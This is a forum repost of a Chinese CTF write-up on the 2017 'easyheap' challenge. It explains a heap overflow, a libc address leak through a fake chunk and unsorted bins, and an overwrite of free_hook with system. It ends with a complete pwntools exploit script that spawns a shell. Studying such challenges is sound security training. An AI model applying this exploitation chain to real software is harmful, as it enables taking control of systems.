2017全国大学生信安赛 easyheap

论坛 期权论坛 脚本     
匿名网站用户   2020-12-19 13:27   52   0

0x01前言

比赛的时候问队里的大神,就高冷的回复了我一句0ctf babyheap,虽然当时做出来了,但缺的知识点有点多,事后N天抽空复现整理知识点


0x02题目

题目功能

Welcome to easy heap!
1.Create
2.Edit
3.List
4.Remove
5.Exit
Choice:

功能相当经典,分别实现了对内存空间的分配打印改写和free操作。

漏洞

edit的地方存在堆溢出,可以写任意长度。

保护机制

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

开启了PIE和RELRO,无法修改got表来劫持程序流,使用的是写malloc_hook,free_hook的方法。
题目的难点:\

1.leak libc地址

2.劫持程序流


leak libc

基础知识

虽然是很常见的方法但是之前缺少的知识点有点多,就又把linux的glibc的机制重新回顾了一下,small bin或者large bin在为空的时候fd和bk指向libc的地址。

malloc_init_state (mstate av)
{
  int i;
  mbinptr bin;

  /* Establish circular links for normal bins */
  for (i = 1; i < NBINS; ++i)    
    {
      bin = bin_at (av, i);
      bin->fd = bin->bk = bin;
    }

#if MORECORE_CONTIGUOUS
  if (av != &main_arena)
#endif
  set_noncontiguous (av);
  if (av == &main_arena)
    set_max_fast (DEFAULT_MXFAST);
  av->flags |= FASTCHUNKS_BIT;

  av->top = initial_top (av);
}

在初始化的时候glibc molloc会将所有的Bin的指针指向自己,也就是说small bin或者large bin在为空的时候fd和bk指向libc的地址。


利用方法

与babyheap不同该题在申请每个chunk之前会先申请一个0x10大小的空间,加上head是大小为0x20,在edit和list的时候需要注意。\
leak思路

+-------+-------+-------+-------+
|       |chunk0 |       |chunk1 |
|  0x20 | 0x70  |  0x20 | 0x200 |
+-------+-------+-------+-------+

在对chunk1进行free操作以后再进行分配

+-------+-------+-------+-------+-------+-------+
|       |chunk0 |       |chunk1 |       | chunk2|
|  0x20 | 0x70  |  0x20 | 0x50  |  0x20 | 0x110 |
+-------+-------+-------+-------+-------+-------+

通过chunk0修改chunk1的head为0x130

------------------------|-------------fake chunk ---------------------|
+-------+-------+-------+-------------+---------------+-------+-------+-------+
|       |chunk0 |       |chunk1       |chunk1         |       |chunk2 |chunk2 |
|  0x20 | 0x70  |  0x20 | 0x10(head)  | 0x40(content) |0x20   | 0xc0  |  0x50 |
+-------+-------+-------+-------------+---------------+-------+-------+-------+

free chunk1,free chunk2,然后分配一个0x80大小的空间就可以leak出libc的地址


劫持程序流

gef  x/80x 0x5575bc44a000
0x5575bc44a000: 0x0000000000000000  0x0000000000000021
0x5575bc44a010: 0x0000000000000060  0x00005575bc44a030
0x5575bc44a020: 0x0000000000000000  0x0000000000000071
0x5575bc44a030: 0x6464646464646464  0x6464646464646464
0x5575bc44a040: 0x6464646464646464  0x6464646464646464
0x5575bc44a050: 0x6464646464646464  0x6464646464646464

在申请每个chunk之前会先申请一个0x10大小的空间,且这个chunk的最后8个字节储存了指向chun0的指针,通过堆溢出我们可以覆盖这个指针使其指向free_hook,从而直接调用edit改写free_hook


EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug')

p = process('./easyheap')
#p = remote('127.0.0.1',10001)


def create(size,string):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:\n')
    p.send(string)

def edit(id,size,string):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('id:')
    p.sendline(str(id))
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:\n')
    p.send(string)

def list():
    p.recvuntil('Choice:')
    p.sendline('3') 


def remove(id):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('id:')
    p.sendline(str(id))

def launch_gdb():
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])




create(0x60,'a'*(0x60))#0
create(0x200, p64(0x130)*64)#1
create(0x200, '\n')#2
create(0x200, '\n')#3
create(0x200, '\n')#4
create(0x200, '\n')#5
create(0x200, '\n')#6
create(0x200, '\n')#7
remove(1)    #free chunk1
create(0x40, 'b'*0x40)  #chunk1
create(0x100, 'c'*0x100) #chunk8

payload1 =  'd'* 0x60 + p64(0) + p64(0x20) + p64(0) * 2 + p64(0) + p64(130)
edit(0,len(payload1),payload1)
remove(1)   #free chunk1
remove(2)   #free chunk2       

create(0x80, '\n')   #chunk1    

list()
p.recvuntil('id:1,size:128,content:')
data =  u64(p.recvuntil('id')[:-2].ljust(8,'\x00')) - 0xa000000000000
print hex(data)
bin_offset = 0x3C4b78
libc_base = data - bin_offset
print hex(libc_base)
libc = ELF('./libc.so.6')
free_hook_offset = 0x00000000003c67a8
system_offset = 0x45390
system_addr = libc_base + system_offset
print hex(system_addr)
free_hook_addr = libc_base+free_hook_offset
payload = "/bin/sh"
payload +="\x00"*(0x200-len(payload))+p64(0)+p64(0x21)+p64(0x211)+p64(free_hook_addr)

edit(6,len(payload),payload)
payload = system_addr
edit(7,8,p64(system_addr))
launch_gdb()
remove(6)


p.interactive()
分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:1136255
帖子:227251
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP